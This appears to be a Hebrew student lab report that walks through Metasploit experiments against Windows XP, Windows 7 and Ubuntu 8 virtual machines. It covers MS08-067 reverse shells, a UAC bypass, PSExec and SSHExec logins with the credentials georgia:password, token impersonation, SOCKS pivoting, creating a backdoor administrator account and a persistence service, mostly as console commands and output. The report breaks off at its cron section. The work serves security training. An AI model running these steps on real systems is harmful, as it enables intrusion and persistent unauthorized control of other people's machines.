עבודה מספר 1-מבוא לסייבר

מגישים :
עידו חזן-316613769
שרון אנגדו-205872781

תוכן עניינים :

ניסוי 1 : פקודות שונות ב-meterpreter.....3

ניסוי 2 : הסלמת הרשאות ב-Windows XP.....6

ניסוי 3 : הסלמת הרשאות ב-Windows 7.....7

ניסוי 4 : הסלמת הרשאות Udev ב-Ubuntu 8.....9

ניסוי 5 : איסוף פרטי כניסה מקומיים.....10

ניסוי 6 : תקיפת PSExec.....11

ניסוי 7 : תקיפת SSHExec.....12

ניסוי 8 : איסוף Tokens 13

ניסוי 9 : מתקפת ציר 15

ניסוי 10 : שימור אחיזה עם הוספת משתמש חדש.....17

ניסוי 11 : שימור אחיזה עם סקריפט של Meterpreter.....19

ניסוי 12 : שימור אחיזה עם cron.....20

פקודות שונות ב-meterpreter

מבוא:

ביצוע פקודות Meterpreter, אפשר גם להפעיל סקריפטים של Meterpreter ממסוף Meterpreter. ניתן למצוא סקריפטים אלו בספרייה "usr/share/metasploit-framework/scripts/meterpreter" בקאלי. הם כתובים ברובי, ומשתמשים יכולים ליצור סקריפטים משלהם ולהגיש אותם להכללה במסגרת. כדי להשתמש בסקריפט Meterpreter, נעשה שימוש בפקודה "הפעל <שם סקריפט>", והדגל "-h" מספק מידע עזרה עבור סקריפט. בפרק קודם, ניתנה דוגמה שבה נעשה שימוש באפשרות "AutoRunScript" כדי להפעיל אוטומטית את הסקריפט "העברה" בעת ניצול Internet Explorer. סקריפט זה מאפשר להצמיח תהליך חדש ולעבור אליו לפני שהדפדפן קורס. ניתן להפעיל את אותו סקריפט ישירות בתוך Meterpreter על ידי הזנת "run migrate -h".

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

ראשית נתחבר ל Metasploit וניצור חיבור לקורבן ע"י החולשה MS08_067 :

```
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse
_tcp_allports
payload => windows/shell/reverse_tcp_allports
msf6 exploit(windows/smb/ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs
                                       .metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSV
                                       C)


Payload options (windows/shell/reverse_tcp_allports):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh,
                                        thread, process, none)
   LHOST     192.168.184.132  yes       The listen address (an interface ma
                                        y be specified)
   LPORT     1                yes       The starting port number to connect
                                         back on
```

ועכשיו נתחבר לקורבן :

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.184.128
RHOST => 192.168.184.128
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.184.132:1
[*] 192.168.184.128:445 - Automatically detecting the target...
[*] 192.168.184.128:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.184.128:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.184.128:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.184.128
[*] Command shell session 1 opened (192.168.184.132:1 -> 192.168.184.128:1037) at 2023-0
6-17 13:44:28 -0400


Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
-----
```

שלב ב:

לאחר שאנו מחוברים נבצע את הפקודה run migrate -h כדי לעבור לפקודות נוספות ב Metasploit .

```
OPTIONS:

    -f   Launch a process and migrate into the new process
    -h   Help menu.
    -k   Kill original process.
    -n   Migrate into the first process with this executable name (explorer.exe)
    -p   PID to migrate to.

meterpreter >
```

דוגמה לסקריפטים ב Metasploit:

```
meterpreter > ps

Process List
============

 PID   PPID  Name          Arch  Session  User                  Path
 ---   ----  ----          ----  -------  ----                  ----
 0     0     [System Proc
             ess]
 4     0     System        x86   0        NT AUTHORITY\SYSTEM
 372   4     smss.exe      x86   0        NT AUTHORITY\SYSTEM   \SystemRoot\System32\
                                                                smss.exe
 600   372   csrss.exe     x86   0        NT AUTHORITY\SYSTEM   \??\C:\WINDOWS\system
                                                                32\csrss.exe
 624   372   winlogon.exe  x86   0        NT AUTHORITY\SYSTEM   \??\C:\WINDOWS\system
                                                                32\winlogon.exe
 668   624   services.exe  x86   0        NT AUTHORITY\SYSTEM   C:\WINDOWS\system32\s
                                                                ervices.exe
 680   624   lsass.exe     x86   0        NT AUTHORITY\SYSTEM   C:\WINDOWS\system32\l
                                                                sass.exe
 836   668   vmacthlp.exe  x86   0        NT AUTHORITY\SYSTEM   C:\Program Files\VMwa
                                                                re\VMware Tools\vmact
                                                                hlp.exe
 848   784   explorer.exe  x86   0        BOOKXP\georgia        C:\WINDOWS\Explorer.E
                                                                XE
```

לאחר התחברות מוצלחת לתהליך explorer.exe, Meterpreter מבטיח את בטיחות ההפעלה גם אם שרת ה-SMB הופך לבלתי יציב או מסתיים.

עם הפעלת הפקודה getuid שוב, זה יגלה שאנחנו כבר לא פועלים כמשתמש המערכת אלא כמשתמש "georgia,". שינוי זה בהרשאות הוא הגיוני מכיוון שתהליך explorer.exe משויך למשתמש המחובר, גיאורגיה. כתוצאה מכך, ההרשאות שלנו מצטמצמות כדי להתאים לאלו של משתמש ג'ורג'יה.

אם נשארים מחוברים כמשתמש גיאורגיה על יעד ה-XP, אנו יכולים לחקור שיטות שונות להעלאת ההרשאות שלנו למטרות מערכת ב-Windows או ל-root ביעדי לינוקס על ידי שימוש בהתקפות מקומיות להסלמה של הרשאות.

```
                                                    ogonui.exe

meterpreter > run migrate -p 848

[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]
[*] Current server process: VdtNo.exe (3172)
[+] Migrating to 848
[+] Successfully migrated to process
meterpreter > getuid
Server username: BOOKXP\georgia
meterpreter >
```

הסלמת הרשאות ב-Windows XP

מבוא:

אנו דנים בזמינותם של מגוון רחב של מודולים שימושיים במסגרת Metasploit לשלב שלאחר הניצול. ניתן למצוא את המודולים הללו בספריית "פוסט" והם מכסים משימות שונות כגון איסוף מידע מקומי, שליטה מרחוק והסלמה של הרשאות על פני מספר פלטפורמות. מודול דוגמה שהוזכר הוא "post/windows/gather/enum_logged_on_users", אשר חושף את המשתמשים המחוברים כעת במערכת היעד. כדי לגשת לפקודה הראשית של Msfconsole, ניתן לשים את הפגישה ברקע באמצעות "ctrl-Z" או הפקודה "רקע"

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

לאחר שאנו מחוברים עוד הניסוי הקודם נתחבר לפי התמונה כדי להסלים את ההרשאות או לבצע שינויים נעבור למטען הבא:

```
msf6 post(windows/gather/enum_logged_on_users) > use exploit/windows/local/ms11_080_afdj
oinleaf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
```

שלב ב-

נגדיר אותו כמו בתמונה ולפי הסאשן שאותו נרצה לשנות(אצלנו זה 2):

```
msf6 post(windows/gather/enum_logged_on_users) > use exploit/windows/local/ms11_080_afdj
oinleaf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > set SESSION 2
SESSION => 2
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > set payload windows/meterpreter/rever
se_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > set LHOST 192.168.184.132
LHOST => 192.168.184.132
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > exploit

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: shell
[*] Started reverse TCP handler on 192.168.184.132:4444
[-] Exploit failed: NoMethodError undefined method `[]' for nil:NilClass
[*] Exploit completed, but no session was created.
msf6 exploit(windows/local/ms11_080_afdjoinleaf) > sessions -l

Active sessions
===============

  Id  Name  Type                  Information                  Connection
  --  ----  ----                  -----------                  ----------
  2         shell x86/windows     Shell Banner: Microsoft Wi   192.168.184.132:1 -> 192.16
                                  ndows XP [Version 5.1.2600   8.184.128:1051 (192.168.184
                                  ] ------                     .128)
```

ונוכל לראות שאנו מחוברים.

הסלמת הרשאות ב-Windows 7

מבוא-

אנו מסבירים את התהליך של הסלמה של הרשאות על יעד של Windows 7 עם תכונות אבטחה נוספות, כולל בקרת חשבון משתמש (UAC). ב-Windows Vista ומעלה, יישומים פועלים בדרך כלל עם הרשאות משתמש רגילות ודורשות אישור ממשתמש מנהלתי כדי להעלות את ההרשאות שלהם בעת הצורך. זה מלווה לעתים קרובות בהודעת אזהרה של UAC. בתרחיש שבו הפעלת Meterpreter הושגה על ידי ביצוע קובץ בינארי זדוני דרך המשתמש Georgia Weidman, להפעלה הנוכחית יש את אותן הרשאות כמו Georgia Weidman. כדי לנסות להסלים הרשאות על יעד זה, ניתן להשתמש בפקודה "getsystem".

תוכנות וחרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (win7): 192.168.184.123

נשתמש ב Metasploit ב KALI

קובץ סקין ב winamp

שלב א-

נתחבר לקורבן על ידי סוס טוריאני שפועל על WINAMP

```
[*] Server stopped.
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.184.132:4444
[*] Sending stage (175686 bytes) to 192.168.184.133
[*] Meterpreter session 1 opened (192.168.184.132:4444 → 192.168.184.133:49235) at 202
3-06-18 09:55:56 -0400

meterpreter >
```

שלב ב-

כעט נרצה להסלים את ההרשאות אז נשתמש בחבילה הבאה ונגדיר אותה כמו בתמונה :

```
msf6 exploit(multi/handler) > use exploit/windows/local/bypassuac
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/bypassuac) > show options

Module options (exploit/windows/local/bypassuac):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   SESSION                     yes       The session to run this module on
   TECHNIQUE  EXE              yes       Technique to use if UAC is turned off (Accep
                                         ted: PSH, EXE)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, pr
                                        ocess, none)
   LHOST     192.168.184.132  yes       The listen address (an interface may be speci
                                        fied)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Windows x86
```

שלב ג-

נגדיר את הסשן שאותו נרצה להסלים במקרה שלנו זה 1

```
msf6 exploit(windows/local/bypassuac) > set SESSION 1
SESSION => 1
msf6 exploit(windows/local/bypassuac) > exploit

[*] Started reverse TCP handler on 192.168.184.132:4444
[*] UAC is Enabled, checking level...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...
[*] Uploaded the agent to the filesystem....
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (175686 bytes) to 192.168.184.133
[*] Meterpreter session 2 opened (192.168.184.132:4444 -> 192.168.184.133:49236) at 202
3-06-18 10:04:39 -0400

meterpreter > getuid
Server username: WIN-IUCM6Q3J135\Georgia Weidman
meterpreter >
```

ונוכל לראות שזה בוצע בהצלחה

הסלמת הרשאות Udev ב-Ubuntu 8

מבוא-

כדי לגוון את הגישה שלנו, עדיין לא ניסינו הסלמה של הרשאות על יעד לינוקס. כדי להוסיף קצת מגוון, נחרוג משימוש ב- Metasploit ובמקום זאת נשתמש בקוד ניצול זמין לציבור כדי לבצע התקפת הסלמה מקומית של הרשאות על לינוקס.

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (UBUNTU 8) :192.168.184.131

נשתמש ב Metasploit ב KALI

שלב א-

נתחבר לקורבן (כאן התחברנו בעזרת SSHEXEC)

```
msf6 exploit(windows/local/bypassuac) > use exploit/multi/ssh/sshexec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > set RHOST 192.168.184.131
RHOST => 192.168.184.131
msf6 exploit(multi/ssh/sshexec) > set USERNAME georgia
USERNAME => georgia
msf6 exploit(multi/ssh/sshexec) > set PASSWORD password
PASSWORD => password
msf6 exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > set LHOST 192.168.184.132
LHOST => 192.168.184.132
msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.184.132:4444
[*] 192.168.184.131:22 - Sending stager ...
[*] Command Stager progress -  42.75% done (342/800 bytes)
[*] Sending stage (1017704 bytes) to 192.168.184.131
[*] Meterpreter session 3 opened (192.168.184.132:4444 → 192.168.184.131:48305) at 202
3-06-18 10:19:21 -0400
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)
```

שלב ב –

לאחר ההתחברות נוכל ליצור הרשאות חדשות כך:

```
meterpreter > shell
Process 7661 created.
Channel 1 created.
```

איסוף פרטי כניסה מקומיים

מבוא-

לאחר קבלת גישה למערכת, חיוני לזהות מידע שעלול להיות רגיש במערכת היעד, כגון תוכנה המאחסנת סיסמאות בצורה לא מאובטחת, נתונים קניינים או קוד מקור, פרטי כרטיס אשראי של הלקוח או חשבון הדוא"ל של המנכ"ל. ממצאים אלה משמשים מידע רב ערך עבור הדוח הסופי ללקוח ויכולים לסייע בפגיעה נוספת במערכות רשת אחרות שמחזיקות בנכסים בעלי ערך רב אף יותר. בעוד בחינת שיטות לנווט ממערכת אחת לאחרת יסוקר בהמשך הפרק, ההתמקדות לעת עתה היא על טכניקות מסקרנות שונות לגילוי מידע על המערכת המקומית.

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

ניהיה מחוברים לקורבן

```
msf6 exploit(windows/smb/psexec) > sessions

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  NT AUTHORITY\SYSTEM @ B  192.168.184.132:4444 →
                                     OOKXP                     192.168.184.128:1054 (
                                                               192.168.184.128)

msf6 exploit(windows/smb/psexec) > sessions -i 1
[*] Starting interaction with 1...
```

שלב ב-

אנחנו יכולים להגיד ל-Meterpreter לחפש קבצים מעניינים. , נכתוב ל-Meterpreter לחפש שמות קבצים שמכילים את השם "סיסמה". (כמו בתמונה)

```
meterpreter > search -f *password*
Found 9 results...
==================

Path                                                        Size (bytes)  Modified (
UTC)
----                                                        ------------  ---------
----
c:\WINDOWS\$NtServicePackUninstall$\password.chm            21629         2001-08-23
 08:00:00 -0400
c:\WINDOWS\Help\password.chm                                21891         2007-04-02
 16:31:56 -0400
c:\xampp\passwords.txt                                      362           2009-08-05
 18:00:00 -0400
c:\xampp\phpMyAdmin\libraries\display_change_password.lib.php  3467       2009-08-05
 18:00:00 -0400
c:\xampp\phpMyAdmin\user_password.php                       4622          2009-08-05
 18:00:00 -0400
c:\xampp\php\PEAR\Zend\Dojo\Form\Element\PasswordTextBox.php  1446        2009-08-05
 18:00:00 -0400
c:\xampp\php\PEAR\Zend\Dojo\View\Helper\PasswordTextBox.php  1869         2009-08-05
 18:00:00 -0400
c:\xampp\php\PEAR\Zend\Form\Element\Password.php            2383          2009-08-05
 18:00:00 -0400
c:\xampp\php\PEAR\Zend\View\Helper\FormPassword.php         2942          2009-08-05
 18:00:00 -0400
```

תקיפת PSExec

מבוא-

טכניקת PSExec הייתה במקור חלק ממערך כלי הניהול של Sysinternals Windows והופיעה בסוף שנות ה-90. הוא השתמש באישורים חוקיים כדי ליצור חיבור עם השיתוף $ADMIN בשרת PSExec. Windows XP SMB העלה קובץ הפעלה של שירות Windows לשיתוף $ADMIN, ולאחר מכן השתמש בקריאה להליך מרחוק (RPC) כדי להתחבר ל-Windows Service Control Manager ולהפעיל את שירות ההפעלה. שירות זה יצר SMB בשם pipe לשליטה מרחוק במערכת היעד על ידי שליחת פקודות.

מודול exploit/windows/smb/psexec" Metasploit" מיישם טכניקה דומה. זה דורש שרת SMB מתפקד על היעד ואישורים המספקים גישה לשיתוף $ADMIN.

גיבוב סיסמאות עבור משתמשים ב-Windows XP יעד נפצח. אפשר לדמיין מינוף אישורים אלה יחד עם PSExec כדי לקבל גישה למערכות נוספות. מודול PSExec מופעל באמצעות האישורים "georgia:password".

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

כדי להשתמש בהצלחה במודול, יש לספק מידע נוסף כגון SMBDomain, SMBUser ו-SMBPass לצד RHOST. במקרה של יעד של Windows XP שאינו חלק מתחום, ניתן להשאיר את אפשרות SMBDomain בערך ברירת המחדל שלה, שהוא "WORKGROUP".

```
msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) > set RHOST 192.168.184.128
RHOST => 192.168.184.128
msf6 exploit(windows/smb/psexec) > set SMBUser georgia
SMBUser => georgia
msf6 exploit(windows/smb/psexec) > set SMBPass password
SMBPass => password
msf6 exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.184.132:4444
[*] 192.168.184.128:445 - Connecting to the server ...
[*] 192.168.184.128:445 - Authenticating to 192.168.184.128:445 as user 'georgia' ...
[*] 192.168.184.128:445 - Selecting native target
[*] 192.168.184.128:445 - Uploading payload ... uvSqkMMR.exe
[*] 192.168.184.128:445 - Created \uvSqkMMR.exe ...
[+] 192.168.184.128:445 - Service started successfully ...
[*] 192.168.184.128:445 - Deleting \uvSqkMMR.exe ...
[*] Sending stage (175686 bytes) to 192.168.184.128
[*] Meterpreter session 1 opened (192.168.184.132:4444 -> 192.168.184.128:1054) at 2023
-06-18 05:38:25 -0400

meterpreter >
```

יש להגדיר את ה-SMBUser ל-"(u)" georgia" ואת ה-SMBPass ל-"(v)" password, המשקף את האישורים שהתגלו. הפעלת מודול ה-exploit כרוכה בהטמעת המטען הנבחר (במקרה זה, ברירת המחדל "windows/meterpreter/reverse_tcp") לתוך קובץ הפעלה של תמונת שירות של Windows. קובץ ההפעלה מועלה ומועבר עם מנהל בקרת השירות של Windows, אשר לאחר מכן מעתיק את קוד המעטפת לזיכרון ההפעלה של תהליך השירות ומפנה מחדש את הביצוע למטען. כתוצאה מכך, המטען פועל ויוצר חיבור בחזרה למאזין Metasploit ב-Kali. למרות הכניסה כמשתמש "georgia " להפעלה יש באופן אוטומטי הרשאות מערכת מכיוון שהמטען פועל כשירות מערכת.

תקיפת SSHExec

מבוא-

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (UBUNTU 8) :192.168.184.131

נשתמש ב Metasploit ב KALI

שלב א-

נגדיר את המטען :

```
msf6 exploit(windows/local/bypassuac) > use exploit/multi/ssh/sshexec
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
```

שלב ב-

נגדיר את הפרטים של הקורבן שאילו נפרוץ

```
msf6 exploit(multi/ssh/sshexec) > set RHOST 192.168.184.131
RHOST => 192.168.184.131
msf6 exploit(multi/ssh/sshexec) > set USERNAME georgia
USERNAME => georgia
msf6 exploit(multi/ssh/sshexec) > set PASSWORD password
PASSWORD => password
msf6 exploit(multi/ssh/sshexec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) >
```

שלב ג-

עכשיו את הפרטים של התוקף ואז נתחבר

```
msf6 exploit(multi/ssh/sshexec) > set LHOST 192.168.184.132
LHOST => 192.168.184.132
msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.184.132:4444
[*] 192.168.184.131:22 - Sending stager...
[*] Command Stager progress -  42.75% done (342/800 bytes)
[*] Sending stage (1017704 bytes) to 192.168.184.131
[*] Meterpreter session 3 opened (192.168.184.132:4444 -> 192.168.184.131:48305) at 202
3-06-18 10:19:21 -0400
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)

meterpreter >
```

ונראה שהתחברנו בהצלחה

איסוף Tokens

מבוא-

במקרים מסוימים, ייתכן שניתן יהיה לקבל גישה למערכות אחרות גם ללא צורך ב-hash של סיסמאות. זה נובע מהמושג של אסימונים באבטחת Windows.

אסימונים משמשים כמנגנוני בקרת גישה, המאפשרים למערכת ההפעלה לקבוע אילו משאבים ופעולות צריכים להיות זמינים לתהליך. ניתן לראות באסימונים כמפתחות זמניים המעניקים גישה למשאבים ספציפיים מבלי לדרוש מהמשתמש להזין את הסיסמה שלו בכל פעם שמבצעים פעולה מוסמכת. כאשר משתמש מתחבר באופן אינטראקטיבי, כגון דרך המסוף או שולחן העבודה המרוחק, נוצר אסימון האצלה.

אסימוני האצלה מאפשרים תהליך להתחזות לאסימון הן מקומי והן ברשת, כגון במערכות אחרות בתוך תחום. אסימונים אלה מכילים אישורים שניתן להשתמש בהם לאימות עם מערכות אחרות המזהות את האישורים הללו, כמו בקר התחום. אסימונים נמשכים עד שהמערכת מופעלת מחדש ונשארים גם אם משתמש מתנתק, נשארים נוכחים עד כיבוי המערכת. על ידי גניבת אסימון נוסף במערכת, זה הופך להיות אפשרי לרכוש הרשאות נוספות ולקבל גישה למערכות אחרות.

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

כדי להשתמש בסתר, התחבר תחילה בתור "secret " המשתמש עם הסיסמה "Password123" על היעד של Windows XP כדי ליצור אסימון האצלה. סריקת גלישה בסתר מטפלת במערכת באמצעות קריאות API של Windows לזיהוי אסימונים. כדי להציג את כל אסימוני המשתמש הזמינים באמצעות Meterpreter Incognito, בצע את הפקודה "list_tokens -u" כפי שהודגם ברשימה 13-25.

```
meterpreter > load incognito
Loading extension incognito ... Success.
meterpreter >
```

שלב ב-

נבצע את הפקודה הבאה (כמו בתמונה) כדי לראות את הרשימה של האסימונים

```
meterpreter > list_tokens -u

Delegation Tokens Available
============================================
BOOKXP\georgia
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
============================================
No tokens available

meterpreter >
```

שלב ג-

על ידי גניבת הTokens של המשתמש "secret", הפעלת הפקודה "getuid" מאשרת כי תפסנו את זהות המשתמש. זה הופך למשמעותי בסביבת דומיין, שכן היותנו מנהל דומיין מאפשר לנו לבצע משימות כמו יצירת חשבונות מנהלי דומיין חדשים או שינוי הסיסמה של מנהל הדומיין.

```
meterpreter > impersonate_token BOOKXP\\secret
[+] Delegation token available
[+] Successfully impersonated user BOOKXP\secret
meterpreter > getuid
Server username: BOOKXP\secret
meterpreter >
```

**החלק שלsmb לא הצליח

מתקפת ציר

מבוא-

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

ראשית ניצור חיבור לקורבן :

```
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.184.128
RHOST => 192.168.184.128
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.184.128:445 - Automatically detecting the target...
[*] 192.168.184.128:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.184.128:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.184.128:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.184.128:4444
[*] Sending stage (175686 bytes) to 192.168.184.128
[*] Meterpreter session 3 opened (192.168.184.132:35203 -> 192.168.184.128:4444) at 202
3-06-18 07:30:52 -0400
```

שלב ב-

דרך Metasploit יש את היתרונות שלו, זה מגביל אותנו לשימוש במודולים Metasploit.
עם זאת, יש פתרון ל-proxy של כלים אחרים דרך הציר של Metasploit : שימוש בכלי ProxyChains כדי להפנות תעבורה מכלים שונים של Kali דרך Metasploit.

כדי להמשיך, עלינו להקים שרת פרוקסי בתוך Metasploit. בדומה למודול שרת SMB ששימש קודם לכן ללכידת NETLM ו-NETNTLM hashes, Metasploit כולל מודול שרת Proxy Socks4a (עזר/שרת/socks4a) למטרה זו. הליך ההגדרה של שרת ה-proxy.

```
msf6 exploit(windows/smb/ms08_067_netapi) > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show targets
[-] No exploit module selected.
msf6 auxiliary(server/socks_proxy) > set TARGET 3
[-] Unknown datastore option: TARGET.
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
Interrupt: use the 'exit' command to quit
msf6 auxiliary(server/socks_proxy) > curl --proxy socks5://localhost:1080 https://gith
ub.com
[*] exec: curl --proxy socks5://localhost:1080 https://github.com
```

שלב ג-

לאחר מכן נבצע התחברות

```
msf6 auxiliary(server/socks_proxy) > exploit
[*] Auxiliary module running as background job 1.
msf6 auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
[*] Stopping the SOCKS proxy server
```

שימור אחיזה עם הוספת משתמש חדש

מבוא-

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (7win) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

ניצור חיבור ונטען את החבילה שבתמונה :

```
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/shell/reverse_tcp_allpo
rts
payload => windows/shell/reverse_tcp_allports
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.184.132:1
[*] 192.168.184.128:445 - Automatically detecting the target...
[*] 192.168.184.128:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.184.128:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.184.128:445 - Attempting to trigger the vulnerability...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.184.128
[*] Command shell session 6 opened (192.168.184.132:1 -> 192.168.184.128:1071) at 2023-
06-18 08:54:57 -0400


Shell Banner:
Microsoft Windows XP [Version 5.1.2600]
```

עכשיו קיבלנו גישה לחלון "cmd" של הקורבן

שלב ב-

ניצור משתמש חדש

```
C:\WINDOWS\system32>net user james password /add
net user james password /add
The command completed successfully.


C:\WINDOWS\system32>
```

שלב ג-

```
C:\WINDOWS\system32>net localgroup administrators james /add
net localgroup administrators james /add
The command completed successfully.


C:\WINDOWS\system32>
```

בסביבת של Windows, אתה יכול להוסיף משתמשים לדומיין ולכלול אותם בקבוצות דומיינים, בתנאי שיש לך את ההרשאות הנדרשות. כדי להשיג זאת, הוסף "/domain" לסוף הפקודה. לדוגמה, אם אתה מצליח לרכוש אסימון מנהל דומיין, אתה יכול להשתמש בפקודות הבאות כדי ליצור חשבון מנהל דומיין, ובכך למעשה נותן לך שליטה מלאה על כל הדומיין.

שימור אחיזה עם סקריפט של Meterpreter

מבוא-

המודל "persistence " של Meterpreter מפשט את התהליך של יצירת דלת אחורית של Windows שיוצרת חיבור אוטומטי למאזין Metasploit עם הפעלת המערכת או התחברות. ניתן להתאים את התנהגות הדלת האחורית על ידי ציון אפשרויות שונות במהלך יצירתו. מציג את האפשרויות הזמינות עבור סקריפט ההתמדה.

תוכנות והרחבות שנשתמש בהם בניסוי זה:

האייפי של המכונה שתוקפת (KALI) : 192.168.184.132

האייפי של המכונה שנתקוף (winXP) :192.168.184.128

נשתמש ב Metasploit ב KALI

שלב א-

נריץ את המודל persistence כמו בתמונה ונקבל חיבור מוצלח לקורבן

```
msf6 exploit(windows/smb/psexec) > use exploit/windows/local/persistence_service
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence_service) > set session 1
session => 1
msf6 exploit(windows/local/persistence_service) > set lport 5678
lport => 5678
msf6 exploit(windows/local/persistence_service) > exploit

[*] Started reverse TCP handler on 192.168.184.132:5678
[*] Running module against BOOKXP
[+] Meterpreter service exe written to C:\WINDOWS\TEMP\VdtNo.exe
[*] Creating service JSfLcnkb
[*] Cleanup Meterpreter RC File: /home/kali/.msf4/logs/persistence/BOOKXP_20230618.1849
/BOOKXP_20230618.1849.rc
[*] Sending stage (175686 bytes) to 192.168.184.128
[*] Meterpreter session 2 opened (192.168.184.132:5678 -> 192.168.184.128:1063) at 2023
-06-18 07:18:50 -0400

meterpreter >
```

שימור אחיזה עם cron

מבוא-

